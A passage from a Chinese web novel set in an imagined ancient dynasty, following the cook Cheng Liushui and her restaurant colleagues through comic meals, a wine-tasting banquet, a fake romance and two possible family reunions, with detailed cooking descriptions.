“不错不错。”程六水王婆卖瓜自卖自夸着,你看看这就没有条件也要创造条件,在古代也能做沙拉酱,只不过就是这小手臂怎么有点发酸呢。 “这是啥菜,我怎么从没见过。”白婉瑜不知从哪儿冒出来问道,她自从昨日吃了那蟹黄三虾罗汉浇头面,就誓要赖上程六水,她吃遍全京城都没吃过如此美味的浇头面。 “这道菜叫沙律牛排,酱汁浓郁顺滑,甜中带咸咸中带香,炸好的肉片蘸着这酱汁,一口下去嘴里都是满满的幸福,对身体好不好另说,但一定好吃。”程六水笑呵呵地拍着胸脯保证着。 目睹了全程制作过程的马陶陶点了点头,这么多油糖鸡蛋加进去,不用尝就知道肯定好吃。 程六水这时又从厨房角落里的冰瓮里取出了白白的一块,宝贝得很,“你说巧不巧,这牛乳是早上王猎户给我送的,我本来想着做些个小点心,就往里面加了些砂糖和生粉冰镇了起来,如今正好是派上用场。” “牛乳不都是喝的吗?”大乾京都居于北方,虽与游牧部落的草原还有些距离,但毕竟是近朱者赤近墨者黑,牛乳还是极为盛行的,尤其是冬季一碗热腾腾的牛乳极为暖和,可眼前这凝结成固体的牛乳,还真是令白婉瑜大长见识。 “嘿嘿牛乳还可以炸哦。”程六水拿着笊篱滤出了方才的油渣子,借着这锅油直接将裹满蛋黄液和地瓜粉的牛乳块扔下了锅,噼里啪啦地作响着,炸得满屋都是牛乳醇厚的香气。 “天啊这吃法我确实是闻所未闻见所未见啊。”白婉瑜趁程六水不注意,伸手就偷吃了一个,明明刚出锅烫得嘴里直冒热气,还是没忍住诱惑。 甜甜的牛乳在酥脆的外壳下,一口酥一口软,甜香甜香的,要不是现在还热着,白婉瑜恨不得连吃它好几个。 “好了好了,谁也不许偷吃!菜没做完呢。”程六水佯装生气道,轻轻打落了马陶陶伸出来的贼手,她比白婉瑜还鸡贼,短短一会儿功夫,都吃了两三块了。 “好吧。”马陶陶撇了撇嘴,十分遗憾地看向炸牛乳,又将目光看向了沙律牛排。 “这个也不许吃。”程六水一边训着两人,一边把腌好的虾仁拿了出来,这虾处理得十分精细,虾壳虾线一并处理干净,黄酒清酱调味,再放些生姜去腥,最后再在鸡蛋液里洗个澡,就能欢欢喜喜地洗大澡了。 金黄地从油锅里滚了一圈出来,用一旁未用的灶台烧上小锅里的糖醋汁,待滚烫冒泡了,虾仁倒入其中收汁,撒上些十分清爽的白芝麻,糖醋虾仁也就出锅了。 第56章 老鹰捉小鸡 大厅里圆圆的桌子上,一圈人围坐在一旁,每个人皆神色各异,张清寒一副见怪不怪的模样,冷着一张脸但仍旧细心地给程六水夹菜。 而程六水的心思却全然没有放在大献殷勤的张清寒身上,她目不转睛地看着卫无平,好像是在看什么稀罕物一样,这人昨日趾高气昂今日就成了三岁幼童,命运当真是会捉弄人啊。 “姐姐我可以吃这 个吗?“卫无平端着一张极为英俊的面庞,却一派天真问道。 赵玉雨被问得反而不好意思了,现下这情形对卫无平那是打不得骂不得,虽说虎落平阳被犬欺,可这虎成了小猫咪确实是令人意想不到。 “吃吧,姐姐给你夹。”赵玉雨无奈地照顾着连筷子都不太会使的卫无平。 “姐姐这个好好吃,那个也好好吃!”卫无平好几筷子就将沙律牛排,炸牛乳塞得嘴里鼓鼓囊囊的,显然是极爱吃这菜色了。 “果然啊,全天下小孩都抵挡不住这种小孩菜,连大小孩也是。”程六水秉承着来的都是客的态度,特地为卫无平精心做了这么一桌小孩菜,真是大受欢迎啊。 她再一看,怎么大家的筷子都伸向这几个糖油混合物呢,一点都不健康不养生,程六水一脸骄矜地夹了一筷子清炒茼蒿杆子。 尝了一口,非常健康绿色,可真的没有一旁的沙律牛排好吃啊,她灰溜溜地转向了战场,开始不动声色地和满桌子的人抢起这些糖油混合物。 在一番极为激烈的撕扯混战中,程六水终于以微弱的劣势惜败身体虚弱但能吃的杜少仲,她只能默默地吃着碗里最后一块抢来的炸鲜奶。 “吃吧。”冷冽的声音在耳边响起,张清寒刚刚放下杜少仲的红耳朵,满脸笑容地给程六水夹了好几块炸鲜奶。 白婉瑜见状顿时笑了,“张清寒,昨日我见你们你侬我侬,我当真以为你是用这桩儿女情事来搪塞我,是你不回京的借口,可如今我倒是真信了。” 一时间整张桌子除了不问世事埋头苦吃的卫无平,剩下所有人宛如被石化了般不得动弹。 马陶陶眨巴着眼睛,无声地给乔四方传递眼神,什么情况?什么儿女情事?东家追六水成功了。 乔四方一脸无辜地转向刚刚从京城回来的杜少仲,杜少仲皱着眉开始一顿挤眉弄眼,赵玉雨点了点头一副了然于胸的样子。 “我与东家初识也没觉什么,我只当他是个冷面的俊俏郎君,不曾想就这么相处着相处着,竟生出了真情意。”程六水灵活的大脑率先打破了僵硬的身体,她体面地答道,就是嘴角的笑容略微有那么些许牵强。 啊啊啊光顾着看卫侯的笑话了,都忘记昨天假扮情侣的事了,程六水再一次为自己的不敬业默默乞求宽宥,毕竟是拿钱消灾,东家可是给了不老少钱呢,怎么的也得把这场子给糊弄过去吧。 张清寒听了六水这话,神情更是缱绻柔情,眼神都快拉丝了,紧紧注视着六水,一副妇唱夫随的没出息样儿。 “张大人真是好福气,但你与我哥哥不也相处时日不断吗?怎的就没生出些情意出来,我昨日随时有意试探,但哥哥的事却半点没掺假,他当真记挂着你,身边半个女人都没有,成亲更是虚无缥缈的事。”白婉瑜如今自己的烦心事解决地七七八八,烦人的倒霉夫婿傻了,就来操心自家哥哥的终身大事了。 白婉瑜起初并不知兄长到底喜欢这位江湖女郎什么,直到这两天的相处,她方知在如履薄冰尔虞我诈的京城朝堂,身边若有一位如此玲珑剔透又一派天真的女子,该是何等幸运。 “我还在这儿呢。”张清寒敲了敲桌子,面带警告地看向白婉瑜,古井无波的眼中竟闪现了一丝杀意。 “张大人,俗话说一家有女百家求,六水如今父母失了踪迹,就不算父母之命,想必你们相处时日虽有一阵,但也未下过定吧?如此以来,也无媒妁之言。什么都尚未定下来,我为我那哥哥争上一争有何不可呢?难不成你霸道地能替六水做任何决定吗?”白婉瑜句句往张清寒肺管子里戳,挑拨的小话不要钱的往外冒,真不愧是在宫中待过的女人。 程六水按住了已经要抬脚要把白婉瑜踹出酒楼的张清寒,静静笑道,“道理确实也是这么个道理,我与清寒既无父母之命又无媒妁之言,可我与阿茂也没有。 但清寒愿为我舍下京中荣华,在这江陵隐居逍遥快活,可阿茂却不能,我自幼在江湖长大,三教九流见多了,而阿茂则是侯府金尊玉贵的世子,我的日子他过不了,他的日子我也过不了。他是好人,却不适合我。” 白婉瑜听罢也不做纠缠,只是浅笑道,“六水,你不必早早拒了我哥哥,世事变迁沧海桑田,你我皆凡人怎知明日是何路,如有一日你想找人共撑伞走一段路,我兄长也是你一个很好的选择,多看看总是没有坏处的。” “白婉瑜!你是不是不想活着走出江陵了。”张清寒虽被按着,但那后槽牙都要咬碎了。 “好了好了,我还是不说了,这年月有些儿郎就是没有容人的雅量,这还没嫁呢就如此小气,也不知以后得是什么样子。”白婉瑜笑嘻嘻吃了口糖醋虾仁道。 “东家深呼吸,快深呼吸。”程六水眼看着张清寒就要吃醋吃得背过气去,赶忙劝道。 她心中不禁感慨到,东家不亏是德智体美劳全面发展的选手,演戏都演得如此真情实感,她学习的道路很漫长啊。 “对了婉瑜,你和卫侯是怎么找到这儿来的呀?玉雨离开京城许久,大乾如此之大,找起来岂不是如大海捞珍。”程六水赶忙转移话题道。 白婉瑜眨了眨眼睛,指着埋头苦吃的杜少仲道,“是杜公子说的。” “???”杜少仲忽然听到了自己,懵懵地抬起头来,对着一桌子审视的目光紧张地咽了咽口水,“我没说,不是我说的,我都不知道玉雨和卫侯的事。” “他是不知道,但他在宴饮时喝多了,即兴大笔一挥就画了副市井生活图,杜公子于画之一道,美名何人不知何人不晓啊,当初杜尚书找到杜公子,不也是因为这出名的画吗?”白婉瑜解释道。 “哈我父亲找到江陵也是因为我画的画?”杜少仲傻呵呵地问道。 “正是,你为参军家小姐画得那副图,递到了京城来在高门大户里皆是惊叹,这世间怎会有如此美貌的女子,一传十十传百,杜尚书可不就知道了嘛,老子哪能不认识儿子的笔触,就这么寻到了你。”白婉瑜接着说道。 “原来是这样……”杜少仲忍不住叹气道,没想到竟是在这漏了馅。 “至于你年节画的那幅市井图,有酒楼有六水有张大人,自然也有玉雨了。”白婉瑜一语惊醒梦中人,素来温柔的赵玉雨眼神中出现锋利的刀片,一刀刀地就要往杜少仲身上划。 “杜少仲,老虎不发威你当我是小猫咪吗!”赵玉雨抓住手里的布条子,拧成一股绳就要打杜少仲。 “不是我不是我!我喝多了不知道!”杜少仲拔腿就跑啊,跑得比之前烧酒楼还快。 两个人绕着大堂你追我赶,赵玉雨一腔愤恨憋到现在好不容易有个出口了,她说怎么躲得好好的就被人发现了,原来是酒楼里有个叛徒! “你给我停下,我看你能往哪里跑。”赵玉雨大声喊道。 一旁看着热闹的程六水兴致勃勃道,“很久没见过这么有活力的玉雨了,真好啊。” 话音刚落,程六水身后感受到一股莫名的拉力,将她一个劲地往后拽,她回头一瞧,老天爷啊怎么是杜二二。 再一抬头,凶神恶煞举着拖布的赵玉雨已然追上,拿着拖布棍就要敲程六水身后的杜少仲,“啊玉雨是我,不要误伤我啊!” 顿时整个大厅变得更为混乱了,想要去劝架的乔四方没走两步,就被三岁卫无平拽住了,非要玩什么你拍一我拍一的游戏,马陶陶倒是拉住了赵玉雨,可惜她刚碰到个衣角,就脚打粗溜滑摔了个大马趴。 程六水成了老鹰捉小鸡里的鸡妈妈,鸡妈妈气得恨不得回头打死小鸡,对面的老鹰凶神恶煞得很,给程六水这只鸡妈妈又吓了一跳。 白婉瑜一时间觉着是自己看错了,这帮人是怎么从知书达理的体面人 眨眼间就成了眼前的样子的,如此混乱却又如此温馨,“张清寒,我大抵懂了你为什么要留在这里了,我若是有你那番成就,来日退隐山林,我也愿意来这里体会这人间烟火。” “不是体会,我们皆是这人间烟火,又怎能跳出五行外呢。”张清寒轻酌一盏茶,很好这茶从去岁秋天喝到了今年春日里,还是一口茶渣子。 第57章 青稞酒 江陵城城门大开,来往的商人无数,百姓安居乐业得很,望着渐行渐远的车队,方知府的心终于算是放下了,他长叹一口气道,“张老弟,你说白御史在圣上面前会如何说啊?我已是拼尽全力治理江陵城了啊。” “放心吧,她这趟不虚此行,必然会在圣上与皇后娘娘面前多多美言的。”张清寒轻声道,那马车里坐着的是仍未恢复神智的卫无平,趁此时机凭借白婉瑜定是能和离的,可叹那长安侯府又要风雨飘摇了,待那卫无平好了,想必一切皆是尘埃落定。 “那就好那就好,张老弟不瞒你说,白御史在的这段日子,我是吃也吃不下睡也睡不好,你看我这肚子都小了一圈。”方知府感慨道。 张清寒随便扫了一眼,睡不睡得好他不知道,但吃应该是吃得还不错,方知府这肚子怎么感觉又变大了呢? “那今日来酒楼瞧热闹吧,酿酒的杜师傅弄了个百酒宴,我看着实不错。”张清寒笑道。 “百酒宴?还有这新鲜事呢,走走走。”方知府今日休沐,一听有热闹那双腿就迈开了,拉着张清寒就要往酒楼去。 这百酒宴原本不是杜少仲的主意,要怪只能怪那日在酒楼里的被玉雨捉住一顿打啊,打得他跪地求饶,愣了半还是想不出什么能让赵玉雨消气的法子。 杜少仲一转头就看见大堂放着几大缸酒,顿时心中生出一计来,赵玉雨进来对酿酒多有兴趣,那菊花白酒就是在她屋子里摔地上的,要是他投其所好搞个什么品酒宴来,玉雨定能原谅他。 而赵玉雨其实真的只是想打打杜少仲泄气,乍一听这品酒宴还一愣,又瞧了瞧杜少仲那谨小慎微的心虚劲儿,当即就点头应下了,真好啊人也打完了,还有品酒宴玩耍一番。 如今的赵玉雨已然是卸下了所有沉重的包袱,前所未有的阳光照直了她的腰板,酒楼的座椅板凳特意收拾了一番,上百种酒水在其中供客人免费品鉴,若是有喜欢的便可花钱点上一壶,后厨下酒菜也是一应俱全。 “此酒名为桑落酒,入口清澈甘甜,由桑落时节的泉水酿制而成,饮之香美,但不宜多饮,极易醉。”杜少仲跟在赵玉雨身后,殷勤地说着。 而杜少仲身后则是一堆慕名而来的客人,他们本是自己在那浅酌两杯的,可一听这边的酿酒师傅是个行家,正在挨个说着酒的口感特性,自然要凑过来听听热闹。 赵玉雨轻尝了一口这桑落酒,果然酒香浓郁入口辣中带甜,引着人还想再来上一杯,随即她的眼神转向了一旁略显浑浊的酒液,“这是何酒?往常没见过这样的。” “这是青稞酒,青稞本是北境之物,近年来传入中原,我用那山上凛冽寒冬的雪水酿造而成,入口冷冽却又有青稞的风味,这酒也是最近才启封的。”杜少仲神采飞扬道,他是极爱酒的,不是爱喝而是爱酿,这世上有太多吃食可以用来酿酒,两三结合便是与众不同的风味,这怎能不令人心向往之呢? “哦?我在北境是见过这青稞的,百姓皆是用来吃的,不曾想杜小郎君还能用了酿酒?”说话之人声音浑厚,短短几句便是说不出来爽朗大气疏阔男儿。 杜少仲转头一瞧,顿时惊得下巴都要掉了,“萧将军?!” “我只是路行此处,你当我是旧友便好,不必有这些称谓。”萧墨又是开朗大笑,颇为黝黑的面庞并未折损他的英俊,相反成就了他独有的气质。 “那萧大哥,你尝尝这青稞酒。”杜少仲恭敬地倒了一盏青稞酒给萧墨。 这萧墨原是一北境孤儿,幼年被北境萧老将军收养,耳濡目染练就了一身好武艺,十几岁便随着萧老将军血战沙场,曾经不可一世的北戎在他手底下都是有来无回。 年纪轻轻在朝中威名赫赫,若是说前些日子的卫侯是仗着祖辈功勋的武将世家子弟,那这位萧墨将军便是一战成名驰骋漠北了,战功不计其数,他与当今陛下就是相识于战场,实在是出生入死的交情。 更为令人心惊的是,他的“萧”是当今皇后母家的“萧”,当今皇后出身谢氏世家,母族便是常居漠北的萧家,收养萧墨的萧老将军就是谢皇后的祖父。 萧墨豪爽得很,一饮而尽还不痛快,满脸赞赏道,“我昔日在京中只听闻你诗画极为精通,现下我才知道,你这酿酒的手艺比之诗画,简直是登峰造极,要不你跟我回漠北吧,我那里全是青稞,你想酿多少就酿多少。” “……那倒是也不必了吧。”杜少仲一想起漠北那经年的严寒与黄沙,他就觉着这江陵是哪哪都好啊。 “哈哈哈行了,给我来上一坛青稞酒,再来些下酒菜。”萧墨自然是故意逗杜少仲的,他就喜欢逗这些读书人,之乎者也大道理一套套的,嘿就是胆子特别小。 “客官来了,您看您是坐哪呢?”马陶陶四处张望了几下,真不巧今日来的客人真是里三层外三层,幸亏这位萧将军人高马大能挤进来,你看那方知府在门口鞋都被踩掉了,正在这到处找鞋玩呢。 “既是少仲的朋友,不如您里面请,后院宽敞我给您弄张小桌子吃,锅气足得很。”马陶陶摆出被程六水培训过的八颗牙齿笑容道。 “好好好,我不挑这个,怎么的都成啊。”萧墨径直跟着马陶陶就前往了后院。 院子里,乔四方正在卖力地搬酒,这上百种酒,就是一种来个一小坛也是费了不少功夫的,幸亏他武功底子厚,搬了一上午了愣是大气都不喘一个,眼见来人了还十分有眼力见地让了道。 “您就坐这儿吧,四方你招呼下。”马陶陶就一个跑堂的,真是要忙得晕头转向了,颠颠地又跑去前厅招呼客人去了,顺便把方知府拽了进来,鞋掉了是小万一被人踩了,那可就不妙了。 萧墨笑呵呵地坐在小板凳上道,“劳烦来坛青稞酒,再来盘花生米和酱牛肉。” “好嘞。”乔四方这才抬起头道。 萧墨就只看了乔四方一眼,心中就生出了无数波澜,这人似是似曾相识,却又从未见过,胸口出不停奔流的血液在快速流动着,涌向了本就一根筋的大脑。 “你来过漠北吗?”萧墨没头没脑地问了句。 乔四方难得的生起了些戒心,装作大大咧咧道,“漠北?没有啊,我在这江陵待了许久了,怎的客官你是漠北来的?怪不得爱喝这青稞酒呢。” “哈哈哈确实,本在漠北天天是这青稞,来此竟又怀念上了。”萧墨打了个哈哈,顺着乔四方的话茬就过去了。但其实他整个人听到了乔四方说话的语调口音瞬间就紧绷了起来,汗毛倒立根根冲天。 “客官,这是你要的花生米酱牛肉还有青稞酒。”乔四方赶紧跑去厨房喘了口粗气,才放下心来取了花生米酱牛肉,他不仅去过漠北,他还生在漠北长在漠北。 萧墨若无其事地用筷子夹起这花生米,看着朴素得很,吃下去当真是麻辣鲜香,嘴里一直要喷火,可那花生是越嚼越香,吃了一口还想吃第二口,他再一翻,原来不止放了干辣椒,竟还有好些个麻椒。 麻椒在舌尖上迸发开酥麻,中和了干辣椒的痛觉,花生在其中炒得干干的十分入味,实在是太好吃了。 再来上一口看似浑浊实则入口十分清爽地青稞酒,青稞粮食的香气在其中蒸馏发酵,瞬间让萧墨上头,思绪差点就飘到了遥远的大漠,紧接着他又用筷子夹起了那酱牛肉,切成薄薄一片的酱牛肉,中和了胶东特有的鲜咸口,中原的醇香又加入了西域的香料,正可谓是取百家之长,弃百家之短啊,选用的牛肉也皆是极为新鲜上等的,在柴火灶上卤煮了数个时辰,如今这院子里还有这卤肉的香气呢。 “天啊实在是太香了,你们这厨子着实是不错,酒楼开得也不错,不仅是酒好菜也好。”萧墨忍不住赞赏道,他本是想掩盖住方才的异样,才赶紧吃了几口菜,却直接打开了胃口,这下花生米和酱牛肉哪够啊,怎么也得点上一桌好菜。 第58章 豆酱炖鱼 厨房里哐哐抡大勺的程六水听了窗外食客 的溢美之词,那炒菜可是更起劲了,三下五除二就倒进了盘子里,细细的土豆丝盛了满满一大盘子,几颗红通通的辣椒点缀其中,瞧着不起眼闻着却香气扑鼻。 “客官,小店赠送您一盘泰椒土豆丝,您请慢用。”程六水是个惯没有什么出息的厨子,只要是被食客一夸尾巴就要翘上天去,乐颠颠地说道。 “还有这等好事呢,我这回路过江陵,来你们酒楼当真是来对了。”萧墨一听有白送的,支着个大白牙就笑了起来。 这抬头一笑,直接就将程六水看楞了,这白牙这黑脸怎么这么熟悉呢,总觉得在哪见过,难不成是自己用黑人牙膏用多了? 萧墨一见方才热情洋溢的厨娘忽地蹙眉,心下一紧默默地把土豆丝往自己这边挪了挪,刚送的可别再收回去啊,随后满满一筷子夹起土豆丝吃进了嘴里。 这金黄的土豆丝脆生得很,裹满了辣滋滋还带点酸的酱汁,一入口先是满嘴都要喷火了,小米辣椒圈悄咪咪地混在土豆丝里,猝不及防地直击萧墨的舌尖,而那黄灯笼辣椒则不巧地呛在了他的嗓子眼,萧墨喘着粗气哼哧哼哧地就开始找水喝,手边正好有盏子,他也是看都不看一饮而尽。 啊!!!一声狂吼在萧墨的心中迸发出来,可惜他现下说不出话来,那一股股热辣滚烫的青稞酒直往他的嗓子眼里钻,整个人是上天无门入地也不行,辣得脸红脖子粗的。 “哎呀我的妈呀!”程六水也是吓着了,赶紧拿了茶壶来,壶里是刚刚晾好的麦茶,这麦茶是她这两天刚炒的,张东家嘴刁得很,前些日子说什么也不喝她去岁买的茶饼了,非要买新的来。 这人当真是不当家不知柴米油茶贵,程六水心中暗自腹诽道,但人在屋檐下哪能不低头,她只能“唯唯诺诺”地点头称是,可还没等她去买呢,自己随便炒得麦茶就被张东家盯上了。张东家一喝就眉宇舒展,连饮了三大杯还不够,偏要接着喝。 于是程六水从买茶的变成了炒茶的,虽十分无奈却只能在铁锅里炒麦子,所幸酒楼的伙计们已经在她的训练下手艺出众,她只要做监工的就好,麦子不如还是张东家自己上阵炒吧。 这铁锅里炒好的麦子取一些放进一大壶冷泉水里,过了夜再取出来喝,清甜爽口得很,半点苦涩都是没有的。 自然了这样的茶饮给食客们解辣最好,这不萧墨捧着茶壶就牛饮了起来,咕嘟咕嘟一大壶麦茶下肚才缓了过来,“好茶好茶啊!” “客官,都是我的过错,我不知您不吃辣,我再给你炒盘不辣的吧。”程六水心虚道,结果低头一瞧,好家伙这人是好了伤疤忘了疼,又在那大快朵颐吃了起来,越吃越来劲。 这回他学乖了,扒拉了好几下辣椒,专挑土豆丝吃,吃得都不吃酱牛肉了,“姑娘,能再给我上完米饭不?这菜配米饭肯定香,对了你还有什么拿手菜?”萧墨咧开嘴道。 程六水听了这话,心下才不慌了,大方开口道,“今早正好得了两尾鲫鱼,活蹦乱跳得紧,不如给你来个炖鱼如何?” “好好好,姑娘做什么我吃什么,我不挑嘴的。”萧墨拍着胸脯道。 “好嘞,四方你招呼下客官。”程六水回头看向乔四方嘱咐道,可就这么一回头,我的个天爷啊,原来她不是黑人牙膏用多了,这黑脸这白牙,这俩人怎么这么像呢。 要说五官确实是两个人,乔四方生就一副北方汉子的粗犷,块头极大的练家子,宽脸长眼极为挺拔的鼻梁十分惹眼,但只要一笑势气便荡然无存了,只余下好欺负的脾性。 而这位客官生得却比乔四方精致些许,只不过一样的硬朗凌厉,瞧着就是位杀伐果断之人,只不过笑起来也是人畜无害得很。 程六水皱眉不语,葡萄大的圆眼睛滴溜溜转了几圈,拿起一旁的拖把就作势要打乔四方,“让你干活还不干?今天又不想吃饭了?” 乔四方刚搬了几桶酒,嘴里嚼着六水做的牛肉干,吓了一大跳都没反应过来,就呆呆地愣在原地。 “还看,你吃什么呢?又偷吃东西,东家买你回来是要拿你当驴使的,吃这么多一点也没有驴好用,不就三天没吃饭吗?至于在那儿装可怜吗?”程六水一手叉着腰,一手举着拖把棍就要打起乔四方。 “哎哎哎姑娘莫气,我这一人儿吃得也不香,正好缺个陪我的,不如就让你们这伙计陪我吃会儿吧。”萧墨的心莫名地一揪一揪疼,下意识开口求情道。 说是求情,他直接都站起来一下子就把程六水的拖把棍拿走了,又赶忙招呼着乔四方坐下。 “既是客官发话,我等自当遵从。”程六水跟京剧变脸似的,笑呵呵地就把乔四方往凳子上推,给乔四方差点推摔了。 “你不许偷懒,好好陪客官吃,陪不好客官你更甭想吃饭了。”程六水吹胡子瞪眼睛对着乔四方道。 乔四方看程六水比比划划的都懵了,一愣一愣地只能乖乖点头,生怕程六水是做饭做疯了,他听说突然得了疯病的就这样,喜怒无常判若两人,他还是多顺着点六水吧,太吓人了。 程六水眼看两人坐到了一起,她眯着眼悄悄对比着这两人的眉眼轮廓,像真像啊! 她麻溜地跑进厨房,“哐当”一声就将门关得严严实实的,那鲫鱼还在水缸里扑腾打滚呢,可惜一时半会是顾不上它了。 穿过厨房的侧门便是大堂,程六水一双眼四处寻摸着,穿过熙熙攘攘的食客们,才看到正在给方知府找鞋的张清寒,她蹦起来大叫道,“东家!东家!” 张清寒晕头转向地从人群中抬起头来,就看蹦得上上下下的程六水,跟个小土豆一样,扑哧一下就笑了出来。 两人费劲巴力终于在人海茫茫中相聚,然后携手蹲在厨房的犄角旮旯里贼眉鼠眼地张望着,“你说你见着个和四方长得很像的男子?”张清寒伸着脖子够着够着看。 “那可不,我都吓着了,东家你不是说四方隐约记着自己有个哥哥吗?你看这人像不像?”程六水眼冒金光道。 张清寒好不容易从窗户缝里看清了那客官的脸,赶忙甩了甩自己疑似进了水的头,再一次眨巴着眼睛看过去,这人怎么长得那么像萧墨将军呢?不对,这不就是萧墨将军吗? “他怎么会来江陵呢?”张清寒不禁自言自语道。 “?东家你认识他?”程六水惊讶问道。 “朝中同僚,这人本该在漠北戍边,莫不是应召入京述职?”张清寒解释道。 东家的朝中同僚?那不就也是大官?程六水抿着嘴瞪圆了眼睛,京城大官这么随和的吗?随和到辣得上气不接下气的? “但你这么一说,确实他与四方是有几分相像,四方当年也是出身漠北的,后经洪泽会才来了中原,两人又都是孤儿。”张清寒越说越点头,差点都要冲出去摇着这俩人相认了。 而屋外的乔四方几杯青稞酒下肚,黑脸蛋红扑扑的,傻呵呵地咧着嘴笑着。 萧墨忍不住又给他夹了几筷子酱牛肉,试探性问道,“多吃点,你是怎么来这酒楼的?” “我……我本来是在一个地方打黑工,我没日没夜地干干得可好了,但工钱还总是被克扣。后来我就遇到东家了,东家是个好人,从来不克扣我工钱。”乔四方迷迷糊糊说着。 “不克扣你工钱,你还吃不饱饭?你在这儿是不是还被打?”萧墨叹了口气,接着问道。 “吃不饱饭?我想想……我确实吃不饱过,他们嗖嗖嗖抢饭抢得太快,好几次我都没抢过,至于被打……”乔四方停顿了片刻,才思绪回笼道,“你别说还真被打过,但没事打得一点都不痛。” 萧墨眼神中闪过难以言喻的心疼,他本就不是个心硬的人,见了弱小便想帮扶,更何况他一见眼前这 人就心里莫名的发酸。 坐在对面的乔四方倒是没察觉出来萧墨那百转千回的心思,脑子里全是陶陶说他笨,炸鸡都让杜少仲抢走了,说着说着还捶了他两下,可捶完没一会儿,陶陶就捧着胜利的炸鸡回来,六水炸得是真香啊。 擅长做炸鸡的程六水虽然很想继续吃瓜,但不得不开始打工,她派张清寒去盯梢,自己噼里啪啦两下就收拾好了鲫鱼,在鱼腹鱼背上划了好看的十字刀。 这炖鱼各地做法皆有不同,程六水起锅下了一块澄白的猪油,葱姜蒜干辣椒嘁哩喀喳就是往里放,顿时厨房里都是浓郁的香气,小火翻炒几下,便挖了好几勺黄豆酱放在里锅里继续炒了起来,再倒入清酱白糖,开水下锅咕嘟着,咕嘟开了将那收拾得干干净净的鲫鱼扔进了锅中,自然了还有程六水特意准备地粉条子。 千咕嘟豆腐万咕嘟鱼,炖了一炷香的功夫,这鱼香就止不住地往外冒啊,里面的粉条子晶莹剔透裹着鱼香酱汁,极为入味。 程六水端着一锅豆酱炖鱼就推开了厨房的门,整个人猛地愣在原地,幸亏是她手稳啊,不然鱼锅砸地上可惜了了,怎么也就不一会儿的功夫,这俩黑黝黝白牙齿的好兄弟勾肩搭背地直接睡过去了呢? 第59章 剥核桃 仍旧蹲在厨房角落里盯梢的张清寒无奈地耸了耸肩,嘴巴往院里的桌子上努了努,程六水这才见着,这桌除了先前上的青稞酒,竟还有一二三四五种酒,最为烈性的桑落酒更是喝了两壶了。 程六水看了看手上端着的豆酱炖鱼,粉条子吸满了汤汁,正正好好到了该吃的时候了,她只能抿了抿嘴,招呼着劳累了一天的伙计们开饭! 至于醉倒的二人则送去了乔四方的房里,喝了这么些酒来,怎么着也得睡到日上三竿才能醒呢。 “来了来了!”马陶陶好不容易送走最后一位客官,精疲力尽地瘫坐在长凳上,趴在桌上养精气神,做生意真是难迎来送往的,她全身上下唯一一点子力气就是动动鼻子闻着菜香。 有鱼有肉还有大米饭,没有能比这些更慰劳马陶陶一天辛劳的了。 她给自己盛了满满一大碗饭,酱香粉条子拌着大米饭,鲫鱼精细地挑了挑刺,那鲜美异常的鱼肉也盖在碗里,最后再舀几勺鱼汤,这稻米本就是特地从北边运来的,什么都不加都是阵阵扑鼻的米香,更别提这炖鱼粉条子拌饭了。 马陶陶埋头就开始吃,不一会儿就把冒尖尖的饭碗吃没了顶,看得程六水是喜笑颜开,她这手艺绝对是称霸江陵,在大乾说不定都是一流的。 “慢点吃多着呢,还有你爱吃的西红柿炒鸡蛋。”程六水说着就给马陶陶夹了一筷子的鸡蛋。 “四方呢?”马陶陶笑嘻嘻地又来了个番茄鸡蛋盖浇饭,肚子里有个三分饱了,这才抽出功夫看了看正在吃饭的大家,数了两遍也没找到乔四方,一边吃着盖浇饭,一边问道。 “他刚才陪大官喝多了,正在屋里睡觉呢。”程六水自己吃了口炝拌干豆腐丝道,这菜做起来十分简单,豆腐丝切得细细的,干辣椒切丝蒜末碎碎的,滚烫热油滋啦浇在上面,辛辣蒜香止不住地往外溢,清酱白糖老陈醋库库就是往里放,最后来点胡萝卜丝香葱丝拌吧拌吧,简单但非常爽口! “什么大官?”马陶陶脱口而出问道。 “咚咚咚。”早已打烊了的酒楼,大门紧紧闭着,街里街坊的皆是在家里吃晚饭,突如其来的敲门声显得十分刺耳。 杜少仲放下碗筷,看了眼正在趁别人说话,偷摸抢西红柿炒鸡蛋的张清寒,这位东家倒是面不红心不跳,随意地点了点头。 “谁啊?”杜少仲高声问道。 “是我。”门外传来了低沉的男声,不紧不慢不急不躁。 杜少仲刹那间皱紧了眉头,下意识开口道,“你是谁啊?” “我,你都不认识?”门外人又故弄玄虚道。 “东家咋整?”杜少仲当即翻了个白眼,对着张清寒问道。 “开门吧。”张清寒依旧是那副天大地大吃饭最大的样子,顺便又夹了筷子酱牛肉,这筋头巴脑的酱牛肉就是香。 大门一开,夜色霜雾笼罩,大红灯笼映出这人扬了二正的模样,宽肩长身白净俊俏脸,可眼角眉梢间的张扬肆意挡都挡不住,扑面而来的是极为清新的青草气息。 酒楼伙计们纷纷放下了碗筷,只余马陶陶怔愣住了一动不动,捧着个大二碗,脸颊上还蹭了几粒大米饭。 “惊不惊喜意不意外!是我是我就是我!”来人咧开嘴笑得比那艳阳都灿烂,说着就跨过门槛,吊儿郎当地就要拽着个凳子坐在饭桌前。 “他是谁啊?我咋还是不认识。”程六水撇着嘴小声同赵玉雨蛐蛐道。 “我也不认识,但感觉这里有点问题。”赵玉雨指了指自己脑袋,一脸猜测道。 “马牧川?别来无恙啊,你终于舍得从北戎回来了?”张清寒笑道,起身给这位远道而来的朋友……一个饭碗,毕竟大米饭自己都不够吃呢,客随主便马牧川还是少吃点吧。 “马牧川,这名怎么这么耳熟呢?”程六水蹙眉回忆着,总觉得在哪听过,原主记忆里还是谁说过来着。 “哥哥!”怔愣了许久的马陶陶手瞬间松了,手中的饭碗差点就掉在地上,幸亏程六水一个眼疾手快宛如杂技表演般接住了。 “什么?!”程六水掩饰不住心中的讶异,脱口而出道,这就是陶陶嘴里哪哪都好,上天入地绝无仅有的哥哥? “哎呦陶陶,不哭了不哭了,你看看想哥哥了吧,这想得脸上都长饭粒了。”马牧川看着扑倒自己怀里的妹妹,赶紧出言安慰道,边说边小心翼翼地给妹妹捡饭粒。 马陶陶抑制不住地嚎啕大哭起来,双眼差点都要肿成核桃了,哭着哭着满脸通红,竟连打了好几个嗝。 马牧川眼看妹妹都打起哭嗝了,更是心疼得很,从怀里赶紧掏出个盒子来,一打开当真是满室生辉啊,七颗流光溢彩的珍珠镶嵌在雕琢极为精细的鎏金花枝上,散落在花旁的叶子竟是用绿宝石雕的。 